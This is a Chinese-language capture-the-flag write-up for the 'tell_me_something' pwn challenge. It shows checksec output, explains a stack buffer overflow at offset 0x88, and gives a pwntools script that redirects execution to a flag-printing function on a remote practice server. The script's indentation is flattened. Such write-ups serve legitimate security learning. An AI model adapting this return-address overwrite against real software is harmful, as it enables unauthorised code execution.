jarvisoj_tell_me_something 1
例题:jarvisoj_tell_me_something 1
首先检查一下文件:
C:\Users\A\Downloads>checksec guestbook
[*] 'C:\\Users\\A\\Downloads\\guestbook'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
- 64位程序,小端序
- GOT表可写
- 没有栈保护
- 栈不可执行
- 地址固定
- 保留了字符表和调试信息
思路分析
用IDA打开,查看main函数

很明显的栈溢出,由于该程序没有system,/bin/sh,但有write,所以可以用ret2libc的做法。
但这里有个good_game函数:

简单来说就是查看flag.txt文件,这个也能获取flag。
但有个值得注意的点,就是v4所在的栈:

是没有平时见到的s的,即默认rbp的地方,因此这里栈溢出不需要+8。原因之一就是这里main函数没有push rbp的操作

攻击脚本
要本地调试的话,需要在本地创建一个flag.txt文件。
from pwn import *
file = "./guestbook"
context.log_level = 'debug'
elf = ELF(file)
good_game = elf.symbols["good_game"]
ret = 0x400469
offset = 0x88
local = 2
if local == 1:
io = process(file)
else:
io = remote("node5.buuoj.cn",25208)
pay = b'a' * offset + p64(good_game)
io.recvuntil(b"message:\n")
io.send(pay)
io.recvline()
io.recvline()
就可以获取到flag了


浙公网安备 33010602011771号